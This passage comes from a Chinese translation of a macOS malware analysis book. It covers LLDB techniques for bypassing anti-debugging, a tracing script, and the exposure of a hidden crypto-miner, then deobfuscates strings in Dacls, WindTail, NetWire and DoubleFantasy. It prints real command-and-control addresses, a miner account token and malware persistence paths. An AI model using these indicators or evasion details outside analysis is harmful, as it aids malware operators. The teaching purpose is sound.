修改二进制状态最常见的方法是更改 CPU 寄存器值或内存内容。`register write` 命令可以用来修改前者的值,而 `memory write` 命令则用于修改后者的内容。
`register write`(或 `reg write`)命令有两个参数:目标寄存器和其新值。我们来看一下如何利用这个命令完全绕过在广泛传播的广告软件安装程序中发现的反分析逻辑。在清单 8-13 中,我们首先使用 `x` 命令配合 `2i` 和程序计数器寄存器(`RIP`)来显示将要执行的下一条指令。位于 `0x100035cbe` 的调用指令会触发反调试逻辑。(这个逻辑的细节在本示例中不重要。)
(lldb) x/2i $rip
0x100035cbe: ff d0 callq *%rax
0x100035cc0: 48 83 c4 10 addq $0x10, %rsp
(lldb) register write $rip 0x100035CC0
(lldb) x/i $rip
0x100035cc0: 48 83 c4 10 addq $0x10, %rsp
清单 8-13:修改指令指针
为了绕过反调试逻辑的调用,我们使用 LLDB 的 `register write` 命令修改指令指针(`RIP`),使其指向下一条指令(位于 `0x100035cc0`)。重新显示指令指针的值确认它已经成功更新。经过这次修改后,位于 `0x100035cbe` 地址的有问题的调用指令将永远不会被执行,因此,恶意软件的反调试逻辑也永远不会被触发,我们的调试会话可以顺利继续。此外,恶意软件通常不会察觉这一点。
修改 CPU 寄存器值以影响被调试进程的原因还有其他。例如,假设某个恶意软件在自持久化安装之前,尝试连接到一个远程命令与控制服务器。如果该服务器离线,但我们仍希望恶意软件继续执行,以便观察它是如何安装自己的,我们可能需要修改一个寄存器,这个寄存器存储了该连接检查的结果。由于函数调用的返回值保存在 `RAX` 寄存器中,这可能涉及将 `RAX` 的值设置为 `1`(即 `true`),让恶意软件认为连接检查已成功(清单 8-14):
(lldb) reg write $rax 1
清单 8-14:修改寄存器
简单!
我们可以使用 `memory write` 命令修改任何可写的内存内容。在恶意软件分析过程中,这个命令可以用于修改加密配置文件的默认值,这些配置文件只在内存中解密。这样的配置可能包含一个触发日期,指示恶意软件在遇到该日期之前保持休眠。为了强制恶意软件立即激活,便于观察它的完整行为,你可以直接在内存中修改触发日期为当前时间。
作为另一个示例,`memory write` 命令可以用来修改保存恶意样本远程命令和控制服务器地址的内存。这为分析人员提供了一种简单且不破坏性的方式来指定一个备用服务器,例如一个在其控制下的服务器。能够修改恶意软件的命令和控制服务器的地址或指定一个备用服务器,具有一定的优势。在一篇名为《进攻性恶意软件分析:通过自定义 C&C 服务器解剖 OSX/FruitFly.b》的研究论文中,我展示了如何将恶意软件连接到一个由分析人员控制的备用服务器,并指示它揭示其功能。^(7)
`memory write` 命令的格式由 LLDB 的 `help` 命令描述。利用 `memory write` 最简单的方式是:
+ 要修改的内存地址
+ `-s` 标志,并可以选择指定一个数字(如果默认的 1 字节不足以修改,则指定修改的字节数)
+ 要写入内存的字节值
例如,要将地址 `0x100100000` 处的内存更改为 `0x41414141`,可以运行以下命令:
(lldb) memory write 0x100100000 -s 4 0x41414141
然后可以使用 `memory read` 命令确认修改:
(lldb) memory read 0x100100000
0x100100000: 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 AAAA...
## LLDB 脚本
LLDB 最强大的功能之一是它对调试脚本的支持,允许你扩展调试器的功能或简单地自动化重复性任务。让我们通过一个示例来演示如何构建一个简单的调试器脚本,以说明重要的概念,并展示这样的脚本如何改善你的动态恶意软件分析。
在本章前面,我提到过,跟踪 `objc_msgSend` 函数的调用可以揭示进程所做的大部分 Objective-C 调用。在分析恶意软件时,这可以为样本的功能提供宝贵的洞察,并推动后续的分析。一种天真的方法是通过在该函数上设置断点来监控对 `objc_msgSend` 函数的调用。是的,这样会暂停进程并允许你检查该函数的参数,其中包括类名和方法名。然而,正如你很快会看到的,这种方法效率非常低,而且对 `objc_msgSend` 函数的频繁调用会变得难以应付。
更高效的方法是创建一个调试器脚本,自动设置一个断点,附加一个命令来打印出 Objective-C 的类名和方法名,然后允许进程继续。LLDB 的调试器脚本使用 Python 编写,并通过调试器命令 `command script import` `<脚本路径>` 导入。这些脚本应该导入 LLDB 模块,以便其余的 Python 代码可以访问 LLDB API。有关此 API 的更多信息,请参阅官方 LLDB 文档: “Python 参考。”^(8)
更常见的是,你可能希望脚本在加载后自动执行某个操作(例如设置断点)。为此,LLDB 提供了 `__lldb_init_module` 这个便利函数,如果在你的调试器脚本中实现了该函数,它将在每次脚本加载时自动被调用。在我们的调试器脚本中,我们将使用这个函数来设置断点和断点回调(列表 8-15):
import lldb
def __lldb_init_module(debugger, internal_dict):
target = debugger.GetSelectedTarget()
breakpoint = target.BreakpointCreateByName("objc_msgSend")
breakpoint.SetScriptCallbackFunction('objc.msgSendCallback')
列表 8-15:通过调试器脚本设置断点
首先,我们的代码获取运行在调试器中的进程的引用。通过这个引用,我们可以调用 `BreakpointCreateByName` 函数,在 `objc_msgSend` 函数上设置一个断点。最后,我们通过调用 `SetScriptCallbackFunction` 函数来附加回调函数。请注意,这个函数的参数是你的模块或脚本的名称,后跟一个点和回调函数的名称(例如,`objc.msgSendCallback`)。
现在,每当调用 `objc_msgSend` 函数时,我们的回调函数 `msgSendCallback` 将会被触发。在这个回调函数中,我们只需打印出正在被调用的 Objective-C 类名和方法名,然后让调试的进程继续执行。回顾之前对 `objc_msgSend` 函数的讨论,我们提到它的第一个参数是 Objective-C 类名,第二个参数是方法名。我们还知道,在 Intel x86_64 平台上,前两个参数将分别通过 `RDI` 和 `RSI` 寄存器传递。这意味着我们可以按以下方式实现回调函数(列表 8-16):
def msgSendCallback(frame, bp_loc, dict):
lldb.debugger.HandleCommand('po [$rdi class]')
lldb.debugger.HandleCommand('x/s $rsi')
frame.thread.process.Continue()
列表 8-16:通过调试器脚本实现断点操作
为了执行内置的调试器命令,我们可以使用 `HandleCommand` API。首先,我们打印出可以在 `RDI` 寄存器中找到的 Objective-C 类的名称。我们使用 `po`(`print object`)命令,因为我们想显示的类名是一个 Objective-C 字符串对象。接下来,我们打印出存储在 `RSI` 寄存器中的方法名。由于它是一个以 null 结尾的 C 字符串,`x/s` 命令就足够了。然后,我们指示调试器继续执行,这样被调试的进程就能恢复运行。
我们可以将列表 8-15 和 8-16 中的代码保存起来(例如,保存到 *~/objc.py*),然后加载到调试器中,再执行我们感兴趣的恶意样本以便进一步分析(列表 8-17):
(lldb) command script import ~/objc.py
(lldb) NSTask
0x1d8dcd07c: "alloc"
(lldb) NSConcreteTask
0x1d8dccbdd: "init"
(lldb) NSConcreteTask
0x1d8e1b67a: "setLaunchPath:"
(lldb) NSConcreteTask
0x1d8e1b771: "launch"
列表 8-17:我们的调试器脚本正在运行
从我们的脚本输出中,我们看到恶意软件正在利用 `NSTask` 类。在幕后,我们看到一个 `NSConcreteTask` 被初始化,设置了启动路径,然后任务被启动。为了进一步调查,我们现在可以手动在 `NSConcreteTask` 的 `launch` 方法上设置断点,查看恶意软件到底执行了什么。
LLDB 调试器脚本是一种强大的方式,可以扩展调试器并提供无价的能力,尤其在分析更复杂的恶意软件样本时。在这里,我们仅通过一个简单但有用的示例触及了它们的表面。要了解更多内容,可以查阅在线示例,例如 Taha Karim 的脚本,它可以自动转储 Bundlore 恶意软件的有效载荷。^(9) 这些示例展示了更高级的使用案例,同时也提供了对 LLDB 脚本 API 的宝贵洞察。
## 一个示例调试会话:揭示应用商店应用程序中的隐藏加密货币挖矿逻辑
2018 年初,一款名为 Calendar 2 的流行应用程序在苹果官方 Mac App Store 中被发现包含了隐蔽的加密货币挖矿逻辑,能够在用户计算机上悄悄进行加密货币挖矿(图 8-1)。虽然它本身不算恶意软件,但这个应用程序提供了一个很好的案例,展示了调试器如何帮助我们理解一个二进制文件中隐藏或颠覆性的功能。而且,由于恶意加密货币挖矿程序在 macOS 上的泛滥,这个例子尤其具有现实意义。

图 8-1:苹果官方 Mac App Store 中的隐蔽加密货币挖矿程序
在我进行初步的静态分析筛查时,我发现了多个方法,这些方法的名称与加密货币挖矿相关(示例 8-18)。这一点很奇怪,因为该应用程序声称只是一个日历应用程序。
/* @class MinerManager */
-(void)runMining {
rdx = self->_coreLimit;
r14 = [self calculateWorkingCores:rdx];
[Coinstash_XMRSTAK9Coinstash setCPULimit:self->_cpuLimit];
r15 = [self getPort];
r12 = [self algorythm];
[self getSlotMemoryMode];
[Coinstash_XMRSTAK9Coinstash startMiningWithPort:r15
password:self->_token
coreCount:r14
slowMemory:self->_slowMemoryMode
currency:r12];
...
return;
}
示例 8-18:应用商店应用中的加密货币挖矿逻辑?
在这个示例中,我们可以看到一个名为 `runMining` 的方法,里面包含调用名为 `Coinstash_XMRSTAK` 框架中方法的代码。由于该框架是用 Swift 编写的,因此方法名称略有混淆,但仍然大部分可以读取。
随后的动态分析目标之一是揭示有关加密货币账户的信息,以便了解任何挖掘的硬币将被发送到哪里。根据方法名称(如 `startMiningWithPort`、`:password:` 等),我推测,在调试会话中,在这些方法中的任意一个上设置断点将揭示这一信息。
启动 LLDB 并加载应用程序后,我们可以通过名称在 `runMining` 方法上设置一个断点,如示例 8-19 所示:
% lldb CalendarFree.app
(lldb) target create "CalendarFree.app"
Current executable set to 'CalendarFree.app' (x86_64).
(lldb) b -[MinerManager runMining]
Breakpoint 1: where = CalendarFree`-[MinerManager runMining],
address = 0x0000000100077fc0
示例 8-19:初始化调试会话并设置初始断点
一旦设置了断点,我们指示调试器运行应用程序。正如预期的那样,它会在我们设置的断点处暂停(示例 8-20):
(lldb) r
Process 782 launched: 'CalendarFree.app/Contents/MacOS/CalendarFree' (x86_64)
CalendarFree[782:7349] Miner: Stopped
Process 782 stopped
stop reason = breakpoint 1.1
CalendarFree`-[MinerManager runMining]:
-> 0x100077fc0 <+0>: pushq %rbp
0x100077fc1 <+1>: movq %rsp, %rbp
0x100077fc4 <+4>: pushq %r15
0x100077fc6 <+6>: pushq %r14
示例 8-20:断点命中,执行暂停
让我们逐步执行指令,直到我们到达调用 Coinstash 的`startMiningWithPort:...`方法。顾名思义,它开始了实际的挖矿。由于我们想在到达它之前跳过其他方法调用,我们使用`nexti`(或`n`)命令(见清单 8-21)。这使得方法调用得以执行,但我们无需逐条指令地执行它们。
(lldb) n
Process 782 stopped
stop reason = instruction step over
CalendarFree`-[MinerManager runMining] + 35:
-> 0x100077fe3 <+35>: movq 0xaa3d6(%rip), %r13 ;0x00007fff58acba00: objc_msgSend
清单 8-21:逐步执行指令并跳过方法调用
最终,我们接近了感兴趣方法的调用。回想一下,在汇编中,Objective-C 的调用是通过`objc_msgSend`函数进行路由的。在调试器中,我们首先看到该函数的地址被移动到`R13`寄存器中。虽然我们可以直接在调用`objc_msgSend`函数(地址为`0x100078067`)时设置一个断点,以调用`startMiningWithPort:...`方法,但我们会采取更全面的方法,逐步执行每一条指令,直到达到该调用(见清单 8-22):
(lldb) n
Process 782 stopped
stop reason = instruction step over
CalendarFree`-[MinerManager runMining] + 167:
-> 0x100078067 <+167>: callq *%r13
(lldb) reg read $r13
r13 = 0x00007fff58acba00 libobjc.A.dylib`objc_msgSend
清单 8-22:逐步执行指令直到达到感兴趣的调用
请注意,通过`reg read`命令,我们确认`R13`寄存器确实包含了`objc_msgSend`函数。
回顾第六章,当调用`objc_msgSend`函数时,某些寄存器按照约定保存了特定的参数值。例如,函数的第一个参数(保存在`RDI`寄存器中)是调用方法的类或对象。在静态分析筛选过程中,我们识别出这是一个名为`Coinstash_XMRSTAK.Coinstash`的类。通过使用`print object`(`po`)命令,我们可以动态地确认这一点:
(lldb) po $rdi
Coinstash_XMRSTAK.Coinstash
第二个参数(保存在`RSI`寄存器中)将是一个以空字符终止的字符串,表示要调用的方法名。让我们确认一下这是正确的,并且它的值是`startMiningWithPort:...`方法。为了打印出一个以空字符终止的字符串,我们使用`x`命令,并配合`s`格式说明符:
(lldb) x/s $rsi
0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"
紧跟着类和方法名的是方法的参数。从方法名中我们可以推测,它接受五个参数,包括端口、密码和货币。我们无法通过静态分析方法(如反汇编器)轻松找到这些参数的值,因为它们并未直接显示出来。通过调试器,这一切变得非常简单。
我们知道,接下来的参数存储在`RDX`、`RCX`、`R8`和`R9`寄存器中,这是按照应用程序二进制接口(ABI)规定的。由于该方法有超过四个参数,最后一个参数会存储在栈上(`RSP`)。让我们来查看一下(见清单 8-23):
(lldb) po $rdx
7777
(lldb) po $rcx
qbix:greg@qbix.com
(lldb) reg read $r8
r8 = 0x0000000000000001
(lldb) po $r9
always
(lldb) x/s $rsp
0x7ffeefbfe0d0: "graft"
清单 8-23:显示`startMiningWithPort:...`方法的参数
请注意,对于对象类型的参数,我们使用`po`命令来显示其内容。对于非对象类型的参数,我们使用其他合适的显示命令,例如`reg read $r8`来查看寄存器的内容,`x/s`来显示以 NULL 结尾的字符串。
通过检查参数,我们揭示了端口(`7777`)、账户密码(`qbix:greg@qbix.com`)、加密货币(`graft`)等信息!而且,如果我们继续调试,还会遇到更多数据,例如,在一个`NSURLRequest`对象中(在本次调试会话中,它位于内存地址 0x1018f04e0)。在调试器中,结合`po`命令,我们可以调用`NSURLRequest`对象的`HTTPBody`方法来显示该网络请求的内容(特别是请求体)。这将揭示详细的账户信息和加密挖矿统计数据(列表 8-24):
1 (lldb) po [0x1018f04e0 HTTPBody]
{
"mining": {
"statistic": {
"ZeroCounter": 0,
"AverageHashRate": 0.92911845445632935,
"CounterTime": 30,
},
"params": {
"Token": "qbix:greg@qbix.com",
"Algorithm": "graft",
"CPULimit": 25,
"EnableMiningMode": true,
"CPUBatteryLimit": 10,
"CoreLimit": 25,
"Ports": {
"7777": 1000000,
"5555": 160,
"3333": 40
}
}
},
...
}
列表 8-24:显示包含加密货币挖矿账号信息和统计数据的网络对象
还值得注意的是,由于这些信息通过网络安全地传输(加密),因此通过简单的网络监控工具恢复这些信息会相当复杂。然而,通过调试器,这一过程相对简单。如果你对这个应用程序的完整分析感兴趣,包括使用调试器揭示和理解其加密挖矿逻辑的更多细节,请参见我的文章《Mac 应用商店中的隐秘加密货币挖矿者?》^(10)
## 接下来
在本章中,我介绍了调试器,这是一种最彻底的工具,能够分析甚至是复杂的恶意软件威胁。具体来说,我展示了如何通过断点逐步调试二进制文件,同时检查或修改寄存器和内存内容,跳过不需要执行的函数等等。现在,拥有了这种分析能力,恶意软件根本没有机会。
当然,恶意软件作者并不高兴他们的恶意创作可以如此轻松地被拆解。在下一章中,我们将深入探讨恶意软件作者为阻止(或至少复杂化)静态和动态分析工作而使用的各种反分析逻辑。
## 注释*
# 第九章:反分析

在前几章中,我们利用了静态和动态分析方法来揭示恶意软件的持久化机制、核心功能以及最为隐秘的秘密。当然,恶意软件作者并不希望他们的创作被公之于众。因此,他们经常通过编写反分析逻辑或其他保护方案来复杂化分析。为了成功分析这类恶意软件,我们必须首先识别这些保护措施,然后绕过它们。
本章将讨论在 macOS 恶意软件作者中常见的反分析方法。一般来说,反分析措施分为两类:旨在阻止静态分析的措施和旨在阻止动态分析的措施。让我们看看这两种措施。
## 反静态分析方法
恶意软件作者使用几种常见的方法来复杂化静态分析工作:
+ **基于字符串的混淆/加密**:在分析过程中,恶意软件分析师通常试图回答诸如“恶意软件如何持久化?”或“它的命令与控制服务器的地址是什么?”之类的问题。如果恶意软件包含与其持久化相关的明文字符串,如文件路径或命令与控制服务器的 URL,分析几乎变得太容易了。因此,恶意软件作者通常会对这些敏感字符串进行混淆或加密。
+ **代码混淆**:为了复杂化代码的静态分析(有时也包括动态分析),恶意软件作者可以对代码本身进行混淆。对于像脚本这样的非二进制恶意软件样本,有各种混淆工具可以使用。对于 Mach-O 二进制文件,恶意软件作者可以使用可执行打包器或加密器来保护二进制文件的代码。
让我们看一些反静态分析方法的例子,然后讨论如何绕过它们。正如你所看到的,通常使用动态分析技术比反静态分析方法更容易克服。在某些情况下,反过来也成立;静态分析技术可以揭示反动态分析策略。
### 敏感字符串伪装为常量
最基本的基于字符串的混淆技术之一是将敏感字符串拆分为多个部分,然后将它们作为常量直接内联到汇编指令中。根据每个部分的大小,`strings`命令可能会错过这些字符串,而反汇编器默认情况下则会以十六进制数字形式显示这些部分,这并不特别有用。我们在 Dacls 中发现了这种字符串混淆的例子(列表 9-1):
main:
...
0x000000010000b5fa movabs rcx, 0x7473696c702e74
0x000000010000b604 mov qword [rbp+rax+var_209], rcx
0x000000010000b60c movabs rcx, 0x746e6567612e706f
0x000000010000b616 mov qword [rbp+rax+var_210], rcx
0x000000010000b61e movabs rcx, 0x6f6c2d7865612e6d
0x000000010000b628 mov qword [rbp+rax+var_218], rcx
0x000000010000b630 movabs rcx, 0x6f632f73746e6567
0x000000010000b63a mov qword [rbp+rax+var_220], rcx
0x000000010000b642 movabs rcx, 0x4168636e75614c2f
0x000000010000b64c mov qword [rbp+rax+var_228], rcx
0x000000010000b654 movabs rcx, 0x7972617262694c2f
0x000000010000b65e mov qword [rbp+rax+var_230], rcx
列表 9-1:基本的字符串混淆(Dacls)
如你所见,六个 64 位的值首先被移动到`RCX`寄存器,然后移动到相邻的基于栈的变量。敏锐的读者会注意到,这些值的每个字节都落在可打印的 ASCII 字符范围内。我们可以使用反汇编工具克服这种基本的混淆。只需指示反汇编工具将常量解码为字符,而不是默认的十六进制格式。在 Hopper 反汇编工具中,你可以简单地 CTRL 点击常量,然后选择**字符**来使用 shift-r 快捷键(清单 9-2):
main:
...
0x000000010000b5fa movabs rcx, 't.plist'
0x000000010000b604 mov qword [rbp+rax+var_209], rcx
0x000000010000b60c movabs rcx, 'op.agent'
0x000000010000b616 mov qword [rbp+rax+var_210], rcx
0x000000010000b61e movabs rcx, 'm.aex-lo'
0x000000010000b628 mov qword [rbp+rax+var_218], rcx
0x000000010000b630 movabs rcx, 'gents/co'
0x000000010000b63a mov qword [rbp+rax+var_220], rcx
0x000000010000b642 movabs rcx, '/LaunchA'
0x000000010000b64c mov qword [rbp+rax+var_228], rcx
0x000000010000b654 movabs rcx, '/Library'
0x000000010000b65e mov qword [rbp+rax+var_230], rcx
清单 9-2:去混淆的字符串(Dacls)
如果我们重新组合被拆分的字符串(注意前两个字符串组件的轻微重叠),这个去混淆后的反汇编现在揭示了恶意软件持久启动项的路径:*/Library/LaunchAgents/com.aex-loop.agent.plist*。
### 加密字符串
在之前的章节中,我们查看了几个更复杂的基于字符串的混淆示例。例如,在第七章中我们提到,WindTail 包含了各种嵌入的 base64 编码和 AES 加密的字符串,其中包括它的命令和控制服务器的地址。解密这些字符串所需的密钥被硬编码在恶意软件中,这意味着我们可以手动解码并解密服务器的地址。然而,这将涉及一些工作,例如找到(或编写)一个 AES 解密器。此外,如果恶意软件使用了自定义(或非标准的)算法来加密字符串,还需要做更多的工作。当然,在某个时刻,恶意软件必须解码并解密受保护的字符串,以便使用它们,例如连接到命令和控制服务器执行任务。因此,通常更高效的做法是直接让恶意软件运行,这样它会触发字符串的解密。如果你正在监控恶意软件的执行,解密后的字符串就可以轻松恢复。
在第七章,我展示了一个实现方法:使用网络监控工具,这使我们能够被动地恢复(之前加密的)恶意软件命令和控制服务器的地址,因为恶意软件在进行任务指派时会发送信号。我们也可以使用调试器完成相同的操作,正如你将在这里看到的那样。首先,我们定位到 WindTail 的解密逻辑,一个名为`yoop:`的方法。(在后续的章节中,我会描述如何定位这类方法。)通过查看该方法的交叉引用,我们可以看到每当恶意软件需要在使用之前解密其字符串时,都会调用这个方法。例如,清单 9-3 展示了一段反汇编代码,调用`yoop:`方法 1 来解密恶意软件的主要命令和控制服务器。
0x0000000100001fe5 mov r13, qword [objc_msgSend]
...
0x0000000100002034 mov rsi, @selector(yoop:)
0x000000010000203b lea rdx, @"F5Ur0CCFMOfWHjecxEqGLy...OLs="
0x0000000100002042 mov rdi, self
1 0x0000000100002045 call r13
2 0x0000000100002048 mov rcx, rax
清单 9-3:命令和控制服务器的解密(WindTail)
我们可以在 `0x100002048` 处设置调试器断点,这是调用 `yoop:` 后立即执行的指令地址。因为 `yoop:` 方法返回明文字符串,所以当我们命中这个断点时,我们可以打印出这个字符串。 (请记住,方法的返回值可以在 `RAX` 寄存器中找到。)这将显示恶意软件的主要命令和控制服务器 *flux2key.com*,如 列表 9-4 所示:
% lldb Final_Presentation.app
(lldb) target create "Final_Presentation.app"
Current executable set to 'Final_Presentation.app' (x86_64).
(lldb) b 0x100002048
(lldb) run
Process 826 stopped
- thread #5, stop reason = breakpoint 1.1
(lldb) po $rax
http://flux2key.com/liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php?very=%@&xnvk=%@
列表 9-4:一个解密的命令和控制地址(WindTail)
值得注意的是,您还可以在解密函数中的返回指令(`retn`)上设置断点。当断点命中时,您将再次在 `RAX` 寄存器中找到解密后的字符串。这种方法的好处是您只需要设置一个断点,而不是在调用解密方法的多个位置设置多个断点。这意味着每当恶意软件解密时,不仅能恢复其命令和控制服务器而且任何字符串的明文。然而,手动管理这个断点将变得非常乏味,因为它将被多次调用以解密恶意软件的每个字符串。更有效的方法是通过 `breakpoint command add` 添加附加的调试器命令到断点。然后,一旦断点命中,您的断点命令将自动执行,并且可以只需打印出保存解密字符串的寄存器,然后允许进程继续自动执行。如果您对调用者感兴趣,也许是为了定位特定解密字符串使用的位置,则考虑打印出堆栈回溯。
请注意,这种基于断点的方法适用于大多数字符串混淆或加密方法,因为它对使用的算法不加区分。换句话说,通常不重要恶意软件使用何种技术来保护字符串或数据。如果您能够在静态分析期间找到去混淆或解密例程,则在阅读字符串时,您只需要一个适当放置的调试器断点。
### 定位混淆字符串
当然,这引出了一个问题:您如何确定恶意软件是否混淆了敏感字符串和数据?以及如何定位恶意软件内负责返回其明文值的例程?
虽然后者没有绝对可靠的方法,但通常很容易确定恶意标本是否有所隐瞒。例如,`strings` 命令的输出通常会产生大量提取出的字符串。如果其输出相对有限或包含大量毫无意义的字符串(尤其是长度显著的字符串),则这表明某种类型的字符串混淆正在发挥作用。例如,如果我们在 WindTail 上运行 `strings`,我们将找到各种明文字符串以及看似混淆的字符串(列表 9-5):
% strings - Final_Presentation.app/Contents/MacOS/usrnode
/bin/sh
open -a
Song.dat
KEY_PATH
oX0s4Qj3GiAzAnOmzGqjOA==
ie8DGq3HZ82UqV9N4cpuVw==
F5Ur0CCFMO/fWHjecxEqGLy/xq5gE98ZviUSLrtFPmHE6gRZGU7ZmXiW+/gzAouX
aagHdDG+YP9BEmHLCg9PVXOuIlMB12oTVPlb8CHvda6TWtptKmqJVvI4o63iQ36Shy9Y9hPtlh+kcrCL0uj+tQ==
列表 9-5:混淆字符串(WindTail)
当然,这种方法并非万无一失。例如,如果混淆方法(如加密算法)产生的是非 ASCII 字符,混淆内容可能不会出现在`strings`的输出中。
然而,在反汇编工具中翻阅时,可能会发现很多或较大块的混淆数据或高熵数据,这些数据可能会在二进制代码中被交叉引用。例如,名为 NetWire 的恶意软件(它安装了一个名为*Finder.app*的恶意应用程序)在`__data`段的开头附近包含了一块看起来像是加密数据的区域(见图 9-1)。

图 9-1:嵌入的混淆数据(NetWire)
对恶意软件的`main`函数进行持续的分类分析时,发现多次调用了位于`0x00009502`的一个函数。每次调用该函数时,都会传入一个地址,该地址位于加密数据块内,而这个数据块大约从内存中的`0x0000e2f0`开始:
0x00007364 push esi
0x00007365 push 0xe555
0x0000736b call sub_9502
...
0x00007380 push 0xe5d6
0x00007385 push eax
0x00007386 call sub_9502
...
0x000073fd push 0xe6b6
0x00007402 push edi
0x00007403 call sub_9502
似乎合理假设,这个函数负责解密那块加密数据。正如前面提到的,通常可以在引用加密数据的代码后设置断点,然后转储解密后的数据。以 NetWire 为例,我们可以在最后一次调用解密函数之后立即设置断点,然后在内存中查看解密后的数据。随着数据解密为一串可打印的字符串,我们可以通过`x/s`调试命令来显示它,正如列表 9-6 所示:
% lldb Finder.app
(lldb) process launch --stop-at-entry
(lldb) b 0x00007408
Breakpoint 1: where = Finder`Finder[0x00007408], address = 0x00007408
(lldb) c
Process 1130 resuming
Process 1130 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
(lldb) x/20s 0x0000e2f0
1 0x0000e2f8: "89.34.111.113:443;"
0x0000e4f8: "Password"
0x0000e52a: "HostId-%Rand%"
0x0000e53b: "Default Group"
0x0000e549: "NC"
0x0000e54c: "-"
2 0x0000e555: "%home%/.defaults/Finder"
0x0000e5d6: "com.mac.host"
0x0000e607: "{0Q44F73L-1XD5-6N1H-53K4-I28DQ30QB8Q1}"
...
列表 9-6:转储现已解密的配置参数(NetWire)
这些内容最终是一些配置参数,包括恶意软件的命令与控制服务器地址 1,以及其安装路径 2。恢复这些配置参数大大加快了我们的分析过程。
### 寻找解混淆代码
当我们在恶意样本中遇到混淆或加密数据时,找到解混淆或解密该数据的代码非常重要。一旦我们找到了这些代码,就可以设置调试断点并恢复明文数据。这就引出了一个问题:我们如何在恶意软件中定位到这些代码?
通常,最好的方法是使用反汇编工具或反编译器,识别出引用加密数据的代码。这些引用通常指示要么是负责解密的代码,要么是后续引用解密后数据的代码。
例如,在 WindTail 的案例中,我们注意到一些字符串似乎被混淆了。如果我们选择其中一个字符串(`"BouCfWujdfbAUfCos/iIOg=="`),我们发现它在以下反汇编中被引用(见列表 9-7):
0x000000010000239f mov rsi, @selector(yoop:)
0x00000001000023a6 lea rdx, @"BouCfWujdfbAUfCos/iIOg=="
0x00000001000023ad mov r15, qword [_objc_msgSend]
0x00000001000023b4 call r15
列表 9-7:可能的字符串解混淆(WindTail)
回想一下,`objc_msgSend`函数用于调用 Objective-C 方法,`RSI`寄存器将保存被调用方法的名称,而`RDI`寄存器将保存其第一个参数。从引用混淆字符串的反汇编中,我们可以看到恶意软件正在调用`yoop:`方法,并将混淆字符串作为其参数。枚举对`yoop:`选择器(位于`0x100015448`)的交叉引用表明,该方法会为每个需要解码和解密的字符串调用一次(图 9-2)。
![0x100015448 的交叉引用包含多个地址,所有这些地址的值为“mov rsi, qword [0x100015448]。”](image_fi/501942c09/f09002.png)
图 9-2:`@``selector(``yoop:)`(WindTail)的交叉引用
仔细查看实际的`yoop:`方法,发现调用了名为`decode:`和`AESDecryptWithPassphrase:`的方法,这证明它确实是一个解码和解密例程(列表 9-8)。
-(void *)yoop:(void *)string {
rax = [[[NSString alloc] initWithData:[[yu decode:string]
AESDecryptWithPassphrase:key] encoding:0x1]
stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];
return rax;
}
列表 9-8:`yoop:`方法(WindTail)
另一种定位解密例程的方法是浏览反汇编代码,查找系统加密例程(如`CCCrypt`)和著名的加密常量(如 AES 的`s-boxes`)的调用。在某些反汇编器中,第三方插件如 FindCrypt^(1)可以自动化这一加密发现过程。
### 通过 Hopper 脚本进行字符串去混淆
基于断点的方法的缺点是,它仅允许你恢复特定的解密字符串。如果一个加密字符串仅在一个未执行的代码块中被引用,你将永远无法遇到它的解密值。一种更全面的方法是重新实现恶意软件的解密例程,然后传入所有恶意软件的加密字符串以恢复它们的明文值。
在第六章中,我们介绍了反汇编器,并强调了如何利用它们对已编译的二进制文件进行静态分析。这些反汇编器通常还支持外部第三方脚本或插件,可以直接与二进制文件的反汇编进行交互。这个功能非常有用,能够扩展反汇编器的功能,特别是在克服恶意软件的反静态分析措施时。作为一个例子,我们将创建一个基于 Python 的 Hopper 脚本,能够解密复杂恶意软件样本中所有嵌入的字符串。
DoubleFantasy 是臭名昭著的 Equation APT 集团的第一阶段植入物,能够对感染的主机进行调查,并在目标系统上安装一个持久的第二阶段植入物。其大部分字符串都是加密的,许多字符串在恶意软件执行时仍然保持加密状态,除非满足某些前提条件,例如特定的任务。然而,由于嵌入的字符串解密算法相当简单,我们可以在 Hopper Python 脚本中重新实现它,以解密所有恶意软件的字符串。
在观察 DoubleFantasy 恶意软件的反汇编时,我们看到似乎是一个加密字符串及其长度(`0x38`)被存储到栈中,然后调用一个未命名的子程序(列表 9-9):
0x00007a93 mov dword [esp+0x8], 0x38
0x00007a9b lea eax, dword [ebx+0x105a7] ;"\xDA\xB3...\x14"
0x00007aa1 mov dword [esp+0x4], eax
0x00007aa5 call sub_d900
列表 9-9:一个加密字符串,以及对可能的字符串解密函数(DoubleFantasy)的调用
对这个子程序的检查表明,它通过运行一个简单的 XOR 算法来解密传入的字符串。如以下反汇编片段所示(列表 9-10),该算法使用两个密钥:
0x0000d908 mov eax, dword [ebp+arg_4]
1 0x0000d90b movzx edi, byte [eax]
...
0x0000d930 movzx edx, byte [esi]
0x0000d933 inc esi
0x0000d934 mov byte [ebp+var_D], dl
0x0000d937 mov eax, edx
0x0000d939 mov edx, dword [ebp+arg_0]
0x0000d93c xor eax, edi 1
0x0000d93e xor eax, ecx
2 0x0000d940 xor eax, 0x47
0x0000d943 mov byte [edx+ecx-1], al
0x0000d947 movzx eax, byte [ebp+var_D]
0x0000d94b inc ecx
0x0000d94c add edi, eax
0x0000d94e cmp ecx, dword [ebp+var_C]
0x0000d951 jne loc_d930
列表 9-10:一个简单的字符串解密算法(DoubleFantasy)
第一个密钥基于加密字符串本身的值 1,而第二个密钥硬编码为`0x47`2。了解了恶意软件的字符串解密算法后,我们可以轻松地在 Python 中重新实现它(列表 9-11):
def decrypt(encryptedStr):
...
1 key_1 = encryptedStr[0]
key_2 = 0x47
for i in range(1, len(encryptedStr)):
2 byte = (encryptedStr[i] ^ key_1 ^ i ^ key_2) & 0xFF
decryptedStr.append(chr(byte))
key_1 = encryptedStr[i] + key_1
3 return ''.join(decryptedStr)
列表 9-11:用 Python 重新实现 DoubleFantasy 的字符串解密算法
在我们用 Python 重新实现恶意软件解密例程时,我们首先初始化两个 XOR 密钥 1。然后我们简单地遍历每个加密字符串的字节,使用两个密钥对其进行解 XOR 操作 2。最后,解密后的字符串被返回 3。
